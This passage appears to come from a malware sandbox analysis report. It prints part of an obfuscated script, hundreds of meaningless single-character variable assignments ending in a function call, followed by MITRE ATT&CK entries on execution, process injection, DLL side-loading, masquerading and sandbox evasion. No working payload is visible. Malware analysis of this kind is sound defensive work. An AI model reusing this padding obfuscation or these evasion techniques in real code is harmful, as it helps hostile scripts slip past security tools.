353	sscnynyel = "z";
354	sscnynyel = "I";
355	sscnynyel = "o";
356	sscnynyel = "x";
357	sscnynyel = "F";
358	sscnynyel = "O";
359	sscnynyel = "U";
360	zjwpjebgb = "e";
361	zjwpjebgb = "L";
362	zjwpjebgb = "l";
363	zjwpjebgb = "5";
364	tjgalg = "P";
365	tjgalg = "T";
366	tjgalg = "m";
367	tjgalg = "X";
368	tjgalg = "V";
369	tjgalg = "E";
370	tjgalg = "k";
371	tjgalg = "w";
372	tjgalg = "w";
373	tjgalg = "T";
374	tjgalg = "X";
375	tjgalg = "U";
376	tjgalg = "t";
377	tjgalg = "U";
378	tjgalg = "H";
379	tjgalg = "q";
380	tjgalg = "t";
381	tjgalg = "h";
382	tjgalg = "C";
383	tjgalg = "K";
384	tjgalg = "j";
385	tjgalg = "C";
386	tjgalg = "b";
387	tjgalg = "v";
388	tjgalg = "J";
389	tjgalg = "J";
390	tjgalg = "a";
391	mufbqr = "d";
392	mufbqr = "c";
393	mufbqr = "E";
394	mufbqr = "T";
395	mufbqr = "Q";
396	mufbqr = "x";
397	mufbqr = "Z";
398	mufbqr = "G";
399	mufbqr = "B";
400	mufbqr = "g";
401	mufbqr = "K";
402	mufbqr = "j";
403	mufbqr = "v";
404	mufbqr = "G";
405	mufbqr = "G";
406	mufbqr = "c";
407	mufbqr = "j";
408	mufbqr = "Y";
409	mufbqr = "B";
410	mufbqr = "r";
411	mufbqr = "L";
412	mufbqr = "x";
413	mufbqr = "j";
414	mufbqr = "o";
415	mufbqr = "q";
416	mufbqr = "o";
417	mufbqr = "J";
418	mufbqr = "J";
419	mufbqr = "y";
420	mufbqr = "e";
421	mufbqr = "1";
422	vxjrutm = "T";
423	vxjrutm = "R";
424	vxjrutm = "N";
425	vxjrutm = "c";
426	vxjrutm = "r";
427	vxjrutm = "B";
428	vxjrutm = "N";
429	vxjrutm = "B";
430	vxjrutm = "P";
431	vxjrutm = "V";
432	vxjrutm = "y";
433	vxjrutm = "s";
434	vxjrutm = "u";
435	vxjrutm = "j";
436	vxjrutm = "o";
437	vxjrutm = "Q";
438	vxjrutm = "n";
439	vxjrutm = "p";
440	vxjrutm = "F";
441	vxjrutm = "y";
442	vxjrutm = "d";
443	vxjrutm = "O";
444	vxjrutm = "q";
445	vxjrutm = "K";
446	vxjrutm = "l";
447	vxjrutm = "F";
448	vxjrutm = "R";
449	vxjrutm = "R";
450	vxjrutm = "p";
451	vxjrutm = "O";
452	vxjrutm = "t";
453	vxjrutm = "P";
454	vxjrutm = "N";
455	vxjrutm = "X";
456	vxjrutm = "B";
457	vxjrutm = "P";
458	vxjrutm = "y";
459	vxjrutm = "q";
460	vxjrutm = "h";
461	vxjrutm = "p";
462	vxjrutm = "k";
463	eeausxbwj = "v";
464	eeausxbwj = "n";
465	eeausxbwj = "B";
466	eeausxbwj = "H";
467	eeausxbwj = "L";
468	eeausxbwj = "P";
469	eeausxbwj = "e";
470	eeausxbwj = "N";
471	eeausxbwj = "Y";
472	eeausxbwj = "q";
473	eeausxbwj = "j";
474	eeausxbwj = "q";
475	eeausxbwj = "w";
476	eeausxbwj = "M";
477	eeausxbwj = "v";
478	eeausxbwj = "Z";
479	eeausxbwj = "J";
480	eeausxbwj = "T";
481	eeausxbwj = "b";
482	eeausxbwj = "g";
483	eeausxbwj = "m";
484	eeausxbwj = "q";
485	eeausxbwj = "i";
486	eeausxbwj = "i";
487	eeausxbwj = "t";
488	eeausxbwj = "l";
489	eeausxbwj = "T";
490	eeausxbwj = "o";
491	eeausxbwj = "a";
492	eeausxbwj = "w";
493	eeausxbwj = "m";
494	eeausxbwj = "K";
495	eeausxbwj = "U";
496	eeausxbwj = "Y";
497	eeausxbwj = "E";
498	eeausxbwj = "n";
499	eeausxbwj = "l";
500	eeausxbwj = "q";
501	eeausxbwj = "v";
502	eeausxbwj = "D";
503	eeausxbwj = "F";
504	eeausxbwj = "x";
505	eeausxbwj = "Y";
506	eeausxbwj = "H";
507	eeausxbwj = "j";
508	gfxjwblz = "e";
509	gfxjwblz = "H";
510	gfxjwblz = "C";
511	gfxjwblz = "E";
512	gfxjwblz = "p";
513	gfxjwblz = "H";
514	gfxjwblz = "A";
515	gfxjwblz = "0";
516	quuwr = "K";
517	quuwr = "E";
518	quuwr = "e";
519	quuwr = "n";
520	quuwr = "x";
521	quuwr = "J";
522	quuwr = "h";
523	quuwr = "Z";
524	quuwr = "W";
525	quuwr = "X";
526	quuwr = "q";
527	quuwr = "J";
528	quuwr = "y";
529	quuwr = "r";
530	quuwr = "p";
531	quuwr = "F";
532	quuwr = "d";
533	quuwr = "N";
534	quuwr = "p";
535	quuwr = "f";
536	quuwr = "s";
537	quuwr = "h";
538	quuwr = "G";
539	quuwr = "I";
540	quuwr = "e";
541	quuwr = "z";
542	quuwr = "f";
543	quuwr = "G";
544	quuwr = "u";
545	quuwr = "X";
546	quuwr = "K";
547	quuwr = "h";
548	quuwr = "V";
549	quuwr = "I";
550	quuwr = "J";
551	quuwr = "e";
552	quuwr = "D";
553	quuwr = "@";
554	dmfslmgoz = "y";
555	dmfslmgoz = "r";
556	dmfslmgoz = "T";
557	dmfslmgoz = "I";
558	dmfslmgoz = "j";
559	dmfslmgoz = "Z";
560	dmfslmgoz = "L";
561	dmfslmgoz = "U";
562	dmfslmgoz = "T";
563	dmfslmgoz = "R";
564	dmfslmgoz = "i";
565	dmfslmgoz = "L";
566	dmfslmgoz = "X";
567	dmfslmgoz = "U";
568	dmfslmgoz = "J";
569	dmfslmgoz = "d";
570	dmfslmgoz = "y";
571	dmfslmgoz = "b";
572	dmfslmgoz = "g";
573	dmfslmgoz = "d";
574	dmfslmgoz = "L";
575	dmfslmgoz = "h";
576	dmfslmgoz = "d";
577	dmfslmgoz = "s";
578	dmfslmgoz = "i";
579	dmfslmgoz = "i";
580	dmfslmgoz = "Y";
581	dmfslmgoz = "t";
582	dmfslmgoz = "y";
583	dmfslmgoz = "E";
584	dmfslmgoz = "i";
585	dmfslmgoz = "I";
586	dmfslmgoz = "F";
587	dmfslmgoz = "M";
588	dmfslmgoz = "a";
589	dmfslmgoz = "c";
590	dmfslmgoz = "q";
591	dmfslmgoz = "G";
592	dmfslmgoz = "O";
593	dmfslmgoz = "O";
594	dmfslmgoz = "a";
595	dmfslmgoz = "i";
596	bzvhitnjy = "D";
597	bzvhitnjy = "E";
598	bzvhitnjy = "v";
599	bzvhitnjy = "K";
600	bzvhitnjy = "J";
601	bzvhitnjy = "B";
602	bzvhitnjy = "r";
603	bzvhitnjy = "i";
604	bzvhitnjy = "K";
605	bzvhitnjy = "c";
606	bzvhitnjy = "L";
607	bzvhitnjy = "e";
608	bzvhitnjy = "c";
609	bzvhitnjy = "O";
610	bzvhitnjy = "H";
611	bzvhitnjy = "Q";
612	bzvhitnjy = "o";
613	bzvhitnjy = "z";
614	bzvhitnjy = "o";
615	bzvhitnjy = "u";
616	bzvhitnjy = "w";
617	bzvhitnjy = "Y";
618	bzvhitnjy = "H";
619	bzvhitnjy = "B";
620	bzvhitnjy = "a";
621	bzvhitnjy = "E";
622	bzvhitnjy = "f";
623	bzvhitnjy = "t";
624	bzvhitnjy = "I";
625	bzvhitnjy = "Z";
626	bzvhitnjy = "s";
627	bzvhitnjy = "v";
628	bzvhitnjy = "a";
629	bzvhitnjy = "F";
630	dydjrx = "J";
631	dydjrx = "c";
632	dydjrx = "l";
633	dydjrx = "D";
634	dydjrx = "v";
635	dydjrx = "L";
636	dydjrx = "q";
637	dydjrx = "y";
638	dydjrx = "G";
639	dydjrx = "r";
640	dydjrx = "v";
641	dydjrx = "H";
642	dydjrx = "N";
643	psypykbpm = "t";
644	psypykbpm = "i";
645	psypykbpm = "U";
646	psypykbpm = "x";
647	psypykbpm = "C";
648	psypykbpm = "q";
649	psypykbpm = "j";
650	psypykbpm = "O";
651	psypykbpm = "S";
652	psypykbpm = "u";
653	psypykbpm = "w";
654	psypykbpm = "M";
655	psypykbpm = "I";
656	psypykbpm = "d";
657	psypykbpm = "m";
658	psypykbpm = "l";
659	psypykbpm = "P";
660	psypykbpm = "D";
661	psypykbpm = "p";
662	psypykbpm = "3";
663	rkqeglqal = "m";
664	rkqeglqal = "D";
665	rkqeglqal = "q";
666	rkqeglqal = "W";
667	rkqeglqal = "p";
668	rkqeglqal = "C";
669	rkqeglqal = "I";
670	rkqeglqal = "X";
671	rkqeglqal = "z";
672	rkqeglqal = "w";
673	rkqeglqal = "H";
674	rkqeglqal = "C";
675	rkqeglqal = "t";
676	rkqeglqal = "r";
677	rkqeglqal = "M";
678	rkqeglqal = "W";
679	rkqeglqal = "e";
680	rkqeglqal = "B";
681	rkqeglqal = "Q";
682	rkqeglqal = "d";
683	rkqeglqal = ".";
684	qhqyurxlf = "K";
685	qhqyurxlf = "A";
686	qhqyurxlf = "h";
687	qhqyurxlf = "j";
688	qhqyurxlf = "E";
689	qhqyurxlf = "a";
690	qhqyurxlf = "X";
691	qhqyurxlf = "b";
692	qhqyurxlf = "Q";
693	qhqyurxlf = "O";
694	qhqyurxlf = "a";
695	qhqyurxlf = "%";
696	kxgpykqy = "W";
697	zplsxp = "G";
698	zplsxp = "r";
699	zplsxp = "C";
700	zplsxp = "Z";
701	zplsxp = "Y";
702	zplsxp = "N";
703	zplsxp = "E";
704	zplsxp = "e";
705	zplsxp = "N";
706	zplsxp = "f";
707	zplsxp = "V";
708	zplsxp = "U";
709	zplsxp = "v";
710	zplsxp = "S";
711	zplsxp = "o";
712	zplsxp = "u";
713	zplsxp = "Y";
714	zplsxp = "H";
715	zplsxp = "M";
716	zplsxp = "R";
717	zplsxp = "C";
718	zplsxp = "z";
719	zplsxp = "W";
720	zplsxp = "i";
721	zplsxp = "g";
722	zplsxp = "u";
723	zplsxp = "q";
724	zplsxp = "j";
725	zplsxp = "v";
726	bvyshsde = "N";
727	bvyshsde = "Q";
728	bvyshsde = "Q";
729	bvyshsde = "x";
730	bvyshsde = "K";
731	bvyshsde = "K";
732	bvyshsde = "W";
733	bvyshsde = "P";
734	ulvhcz = "W";
735	ulvhcz = "R";
736	ulvhcz = "v";
737	ulvhcz = "g";
738	ulvhcz = "B";
739	ulvhcz = "g";
740	ulvhcz = "B";
741	ulvhcz = "H";
742	ulvhcz = "r";
743	ulvhcz = "N";
744	ulvhcz = "W";
745	ulvhcz = "H";
746	ulvhcz = "g";
747	ulvhcz = "Y";
748	ulvhcz = "K";
749	ulvhcz = "j";
750	ulvhcz = "I";
751	ulvhcz = "M";
752	ulvhcz = "f";
753	ulvhcz = "n";
754	ulvhcz = "F";
755	ulvhcz = "Q";
756	ulvhcz = "U";
757	ulvhcz = "S";
758	ulvhcz = "H";
759	ulvhcz = " ";
760	cjqbxbz = "b";
761	cjqbxbz = "u";
762	cjqbxbz = "C";
763	cjqbxbz = "W";
764	cjqbxbz = "T";
765	cjqbxbz = "m";
766	cjqbxbz = "M";
767	cjqbxbz = "L";
768	cjqbxbz = "L";
769	cjqbxbz = "d";
770	cjqbxbz = "X";
771	cjqbxbz = "E";
772	cjqbxbz = "T";
773	cjqbxbz = "T";
774	cjqbxbz = "s";
775	cjqbxbz = "L";
776	cjqbxbz = "2";
777	splyzs = "m";
778	splyzs = "G";
779	splyzs = "W";
780	splyzs = "B";
781	splyzs = "s";
782	splyzs = "V";
783	splyzs = "Y";
784	splyzs = "Q";
785	splyzs = "c";
786	splyzs = "Y";
787	splyzs = "M";
788	splyzs = "E";
789	splyzs = "s";
790	splyzs = "r";
791	splyzs = "P";
792	splyzs = "n";
793	splyzs = "G";
794	splyzs = "U";
795	splyzs = "f";
796	splyzs = "l";
797	splyzs = "K";
798	splyzs = "H";
799	splyzs = "s";
800	splyzs = "Y";
801	splyzs = "H";
802	splyzs = "C";
803	splyzs = "a";
804	splyzs = "D";
805	splyzs = "J";
806	splyzs = "W";
807	splyzs = "E";
808	splyzs = "E";
809	splyzs = "i";
810	splyzs = "Q";
811	splyzs = "Y";
812	splyzs = "r";
813	splyzs = "G";
814	splyzs = "R";
815	splyzs = "O";
816	splyzs = "X";
817	splyzs = "W";
818	splyzs = "Z";
819	splyzs = "s";
820	splyzs = "P";
821	splyzs = "K";
822	fukpm = "f";
823	fukpm = "M";
824	fukpm = "N";
825	fukpm = "v";
826	fukpm = "E";
827	fukpm = "r";
828	fukpm = "N";
829	fukpm = "g";
830	fukpm = "Z";
831	fukpm = "p";
832	fukpm = "J";
833	fukpm = "V";
834	fukpm = "d";
835	fukpm = "x";
836	fukpm = "T";
837	fukpm = "w";
838	fukpm = "N";
839	fukpm = "q";
840	fukpm = "L";
841	fukpm = "T";
842	fukpm = "h";
843	fukpm = "t";
844	fukpm = "h";
845	fukpm = "A";
846	fukpm = "W";
847	fukpm = "D";
848	fukpm = "e";
849	fukpm = "d";
850	fukpm = "u";
851	fukpm = "n";
852	fukpm = "X";
853	fukpm = "w";
854	fukpm = "I";
855	fukpm = "J";
856	fukpm = "U";
857	fukpm = "t";
858	fukpm = "t";
859	fukpm = "U";
860	fukpm = "l";
861	fukpm = "J";
862	fukpm = "k";
863	fukpm = "P";
864	fukpm = "S";
865	fukpm = "w";
866	fukpm = "l";
867	udsqomv = "x";
868	udsqomv = "g";
869	udsqomv = "R";
870	udsqomv = "K";
871	udsqomv = "x";
872	udsqomv = "H";
873	udsqomv = "b";
874	udsqomv = "z";
875	udsqomv = "9";
876	izcglkai = "U";
877	izcglkai = "e";
878	izcglkai = "H";
879	izcglkai = "S";
880	izcglkai = "I";
881	izcglkai = "n";
882	izcglkai = "c";
883	izcglkai = "N";
884	izcglkai = "q";
885	izcglkai = "m";
886	izcglkai = "M";
887	izcglkai = "q";
888	izcglkai = "n";
889	izcglkai = "E";
890	izcglkai = "a";
891	izcglkai = "/";
892	suiqt = "j";
893	suiqt = "e";
894	suiqt = "W";
895	suiqt = "z";
896	suiqt = "d";
897	suiqt = "p";
898	suiqt = "A";
899	suiqt = "j";
900	suiqt = "h";
901	suiqt = "V";
902	suiqt = "X";
903	suiqt = "N";
904	suiqt = "L";
905	suiqt = "K";
906	suiqt = "-";
907	rgiezkul = "N";
908	rgiezkul = "v";
909	rgiezkul = "T";
910	rgiezkul = "k";
911	rgiezkul = "i";
912	rgiezkul = "c";
913	rgiezkul = "n";
914	rgiezkul = "q";
915	rgiezkul = "F";
916	rgiezkul = "m";
917	rgiezkul = "o";
918	rgiezkul = "a";
919	rgiezkul = "Q";
920	rgiezkul = "e";
921	rgiezkul = "d";
922	rgiezkul = "p";
923	rgiezkul = "q";
924	rgiezkul = "i";
925	rgiezkul = "U";
926	rgiezkul = "X";
927	rgiezkul = "z";
928	rgiezkul = "z";
929	rgiezkul = "p";
930	rgiezkul = "A";
931	rgiezkul = "Z";
932	rgiezkul = "i";
933	rgiezkul = "v";
934	rgiezkul = "C";
935	rgiezkul = "l";
936	rgiezkul = "h";
937	rgiezkul = "A";
938	rgiezkul = "N";
939	rgiezkul = "P";
940	rgiezkul = "O";
941	rgiezkul = "c";
942	rgiezkul = "g";
943	rgiezkul = "p";
944	rgiezkul = "g";
945	rgiezkul = "j";
946	rgiezkul = "v";
947	rgiezkul = "f";
948	rgiezkul = "b";
949	oiwbfr = "s";
950	oiwbfr = "d";
951	oiwbfr = "Q";
952	oiwbfr = "v";
953	oiwbfr = "J";
954	oiwbfr = "s";
955	oiwbfr = "u";
956	oiwbfr = "d";
957	oiwbfr = "m";
958	oiwbfr = "O";
959	oiwbfr = "y";
960	oiwbfr = "r";
961	oiwbfr = "C";
962	ljijxrw = "U";
963	ljijxrw = "w";
964	ljijxrw = "m";
965	ljijxrw = "r";
966	ljijxrw = "c";
967	ljijxrw = "x";
968	ljijxrw = "E";
969	ljijxrw = "w";
970	ljijxrw = "p";
971	ljijxrw = "H";
972	ljijxrw = "u";
973	ljijxrw = "v";
974	ljijxrw = "i";
975	ljijxrw = "m";
976	ljijxrw = "C";
977	ljijxrw = "m";
978	ljijxrw = "Q";
979	ljijxrw = "g";
980	ljijxrw = "x";
981	ljijxrw = "b";
982	ljijxrw = "N";
983	ljijxrw = "\\";
984	dauxx = "v";
985	dauxx = "Y";
986	dauxx = "E";
987	dauxx = "w";
988	dauxx = "l";
989	dauxx = "x";
990	dauxx = "O";
991	dauxx = "I";
992	dauxx = "r";
993	dauxx = "u";
994	dauxx = "n";
995	dauxx = "K";
996	dauxx = "I";
997	dauxx = "u";
998	dauxx = "c";
999	dauxx = "t";
1000	dauxx = "w";
1001	dauxx = "b";
1002	dauxx = "K";
1003	dauxx = "Z";
1004	dauxx = "y";
1005	dauxx = "j";
1006	dauxx = "h";
1007	dauxx = "Z";
1008	dauxx = "H";
1009	dauxx = "S";
1010	dauxx = "N";
1011	dauxx = "m";
1012	lqbimt = "v";
1013	lqbimt = "I";
1014	lqbimt = "a";
1015	lqbimt = "q";
1016	lqbimt = "h";
1017	lqbimt = "Q";
1018	lqbimt = "b";
1019	lqbimt = "d";
1020	lqbimt = "M";
1021	lqbimt = "R";
1022	lqbimt = "c";
1023	qbdtpknjz = "W";
1024	qbdtpknjz = "z";
1025	qbdtpknjz = "F";
1026	qbdtpknjz = "y";
1027	qbdtpknjz = "U";
1028	qbdtpknjz = "d";
1029	qbdtpknjz = "s";
1030	qbdtpknjz = "q";
1031	qbdtpknjz = "A";
1032	qbdtpknjz = "A";
1033	qbdtpknjz = "S";
1034	qbdtpknjz = "p";
1035	qbdtpknjz = "U";
1036	qbdtpknjz = "O";
1037	qbdtpknjz = "J";
1038	qbdtpknjz = "s";
1039	qbdtpknjz = "o";
1040	qbdtpknjz = "d";
1041	qbdtpknjz = "E";
1042	qbdtpknjz = "m";
1043	qbdtpknjz = "K";
1044	qbdtpknjz = "d";
1045	qbdtpknjz = "\"";
1046	ywunubz = "B";
1047	ywunubz = "U";
1048	ywunubz = "O";
1049	ywunubz = "I";
1050	ywunubz = "r";
1051	ywunubz = "D";
1052	ywunubz = "n";
1053	ywunubz = "Y";
1054	ywunubz = "T";
1055	ywunubz = "S";
1056	ywunubz = "a";
1057	ywunubz = "G";
1058	ywunubz = "b";
1059	ywunubz = "c";
1060	ywunubz = "v";
1061	ywunubz = "t";
1062	zeabj = "i";
1063	zeabj = "z";
1064	zeabj = "h";
1065	zeabj = "l";
1066	zeabj = "m";
1067	zeabj = "U";
1068	zeabj = "t";
1069	zeabj = "V";
1070	zeabj = "H";
1071	zeabj = "D";
1072	zeabj = "i";
1073	zeabj = "K";
1074	zeabj = "s";
1075	zeabj = "y";
1076	zeabj = "B";
1077	zeabj = "Z";
1078	zeabj = "c";
1079	zeabj = "S";
1080	zeabj = "a";
1081	zeabj = "b";
1082	zeabj = "H";
1083	zeabj = "k";
1084	zeabj = "y";
1085	zeabj = "g";
1086	zeabj = "c";
1087	zeabj = "r";
1088	zeabj = "q";
1089	zeabj = "J";
1090	zeabj = ":";
1091	dhhibno = "B";
1092	dhhibno = "h";
1093	dhhibno = "J";
1094	dhhibno = "x";
1095	dhhibno = "T";
1096	dhhibno = "g";
1097	dhhibno = "K";
1098	dhhibno = "l";
1099	dhhibno = "g";
1100	tskcujy = "u";
1101	tskcujy = "a";
1102	tskcujy = "K";
1103	tskcujy = "S";
1104	fvgetiun = "K";
1105	fvgetiun = "n";
1106	fvgetiun = "j";
1107	fvgetiun = "m";
1108	fvgetiun = "w";
1109	fvgetiun = "p";
1110	fvgetiun = "S";
1111	fvgetiun = "Y";
1112	fvgetiun = "s";
1113	fvgetiun = "k";
1114	fvgetiun = "G";
1115	fvgetiun = "Z";
1116	fvgetiun = "b";
1117	fvgetiun = "s";
1118	fvgetiun = "O";
1119	fvgetiun = "E";
1120	fvgetiun = "d";
1121	fvgetiun = "Y";
1122	npqnzugbf = "Z";
1123	npqnzugbf = "M";
1124	npqnzugbf = "z";
1125	npqnzugbf = "l";
1126	npqnzugbf = "B";
1127	npqnzugbf = "X";
1128	npqnzugbf = "G";
1129	npqnzugbf = "c";
1130	npqnzugbf = "f";
1131	npqnzugbf = "B";
1132	npqnzugbf = "J";
1133	npqnzugbf = "o";
1134	npqnzugbf = "r";
1135	npqnzugbf = "y";
1136	npqnzugbf = "Q";
1137	npqnzugbf = "L";
1138	npqnzugbf = "V";
1139	npqnzugbf = "P";
1140	npqnzugbf = "e";
1141	npqnzugbf = "P";
1142	npqnzugbf = "H";
1143	npqnzugbf = "u";
1144	npqnzugbf = "r";
1145	npqnzugbf = "L";
1146	npqnzugbf = "V";
1147	npqnzugbf = "M";
1148	npqnzugbf = "e";
1149	npqnzugbf = "Z";
1150	npqnzugbf = "M";
1151	npqnzugbf = "J";
1152	npqnzugbf = "M";
1153	npqnzugbf = "p";
1154	synxonvne = "T";
1155	synxonvne = "T";
1156	synxonvne = "v";
1157	synxonvne = "u";
1158	synxonvne = "M";
1159	synxonvne = "o";
1160	synxonvne = "K";
1161	synxonvne = "R";
1162	synxonvne = "r";
1163	synxonvne = "c";
1164	synxonvne = "C";
1165	synxonvne = "W";
1166	synxonvne = "y";
1167	synxonvne = "u";
1168	synxonvne = "f";
1169	synxonvne = "n";
1170	synxonvne = "E";
1171	synxonvne = "b";
1172	synxonvne = "Y";
1173	synxonvne = "X";
1174	synxonvne = "G";
1175	synxonvne = "C";
1176	synxonvne = "Q";
1177	lkixb = "x";
1178	eqyfjbn = "j";
1179	eqyfjbn = "K";
1180	eqyfjbn = "S";
1181	eqyfjbn = "O";
1182	eqyfjbn = "h";
1183	eqyfjbn = "o";
1184	ujexi = "Q";
1185	ujexi = "M";
1186	ujexi = "X";
1187	ujexi = "r";
1188	ujexi = "l";
1189	ujexi = "o";
1190	ujexi = "B";
1191	ujexi = "o";
1192	ujexi = "c";
1193	ujexi = "H";
1194	ujexi = "P";
1195	ujexi = "K";
1196	ujexi = "h";
1197	ujexi = "t";
1198	ujexi = "h";
1199	ujexi = "h";
1200	ujexi = "I";
1201	ujexi = "H";
1202	ujexi = "Z";
1203	ujexi = "Z";
1204	ujexi = "i";
1205	ujexi = "r";
1206	ujexi = "k";
1207	ujexi = "G";
1208	ujexi = "B";
1209	ujexi = "C";
1210	ujexi = "i";
1211	ujexi = "A";
1212	ujexi = "H";
1213	ujexi = "g";
1214	ujexi = "m";
1215	ujexi = "S";
1216	ujexi = "j";
1217	ujexi = "k";
1218	ujexi = "t";
1219	ujexi = "q";
1220	ujexi = "P";
1221	ujexi = "6";
1222	lyhzle = "R";
1223	lyhzle = "P";
1224	lyhzle = "b";
1225	lyhzle = "O";
1226	lyhzle = "v";
1227	lyhzle = "k";
1228	lyhzle = "N";
1229	lyhzle = "R";
1230	lyhzle = "A";
1231	lyhzle = "O";
1232	lyhzle = "T";
1233	lyhzle = "x";
1234	lyhzle = "T";
1235	lyhzle = "R";
1236	lyhzle = "M";
1237	lyhzle = "O";
1238	lyhzle = "S";
1239	lyhzle = "E";
1240	lyhzle = "n";
1241	frnikn = "E";
1242	frnikn = "X";
1243	frnikn = "m";
1244	frnikn = "K";
1245	frnikn = "Z";
1246	frnikn = "w";
1247	frnikn = "G";
1248	frnikn = "H";
1249	fygbri = "p";
1250	fygbri = "r";
1251	fygbri = "X";
1252	fygbri = "E";
1253	fygbri = "L";
1254	fygbri = "N";
1255	fygbri = "I";
1256	fygbri = "K";
1257	fygbri = "E";
1258	fygbri = "q";
1259	fygbri = "t";
1260	fygbri = "o";
1261	fygbri = "G";
1262	fygbri = "Y";
1263	fygbri = "s";
1264	fygbri = "d";
1265	fygbri = "j";
1266	fygbri = "D";
1267	fygbri = "f";
1268	fygbri = "R";
1269	fygbri = "K";
1270	fygbri = "u";
1271	fygbri = "j";
1272	fygbri = "W";
1273	fygbri = "V";
1274	fygbri = "o";
1275	fygbri = "j";
1276	fygbri = "y";
1277	fygbri = "X";
1278	fygbri = "u";
1279	fygbri = "z";
1280	fygbri = "4";
1281	rnrxvwnld = "Q";
1282	rnrxvwnld = "T";
1283	rnrxvwnld = "z";
1284	rnrxvwnld = "D";
1285	rnrxvwnld = "g";
1286	rnrxvwnld = "z";
1287	rnrxvwnld = "E";
1288	rnrxvwnld = "F";
1289	rnrxvwnld = "v";
1290	rnrxvwnld = "J";
1291	rnrxvwnld = "Q";
1292	rnrxvwnld = "q";
1293	rnrxvwnld = "q";
1294	rnrxvwnld = "A";
1295	rnrxvwnld = "I";
1296	rnrxvwnld = "Y";
1297	rnrxvwnld = "z";
1298	rnrxvwnld = "k";
1299	rnrxvwnld = "K";
1300	rnrxvwnld = "i";
1301	rnrxvwnld = "W";
1302	rnrxvwnld = "m";
1303	rnrxvwnld = "L";
1304	rnrxvwnld = "K";
1305	rnrxvwnld = "r";
1306	rnrxvwnld = "E";
1307	ottytgmdl = "p";
1308	ottytgmdl = "K";
1309	ottytgmdl = "U";
1310	ottytgmdl = "Z";
1311	ottytgmdl = "T";
1312	ottytgmdl = "M";
1313	ottytgmdl = "t";
1314	ottytgmdl = "h";
1315	ottytgmdl = "P";
1316	ottytgmdl = "F";
1317	ottytgmdl = "D";
1318	ottytgmdl = "H";
1319	ottytgmdl = "y";
1320	ottytgmdl = "V";
1321	ottytgmdl = "s";
1322	ottytgmdl = "a";
1323	ottytgmdl = "L";
1324	jxhubhfo = "K";
1325	jxhubhfo = "A";
1326	jxhubhfo = "o";
1327	jxhubhfo = "A";
1328	jxhubhfo = "R";
1329	qvijvdx ( );	qvijvdx() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

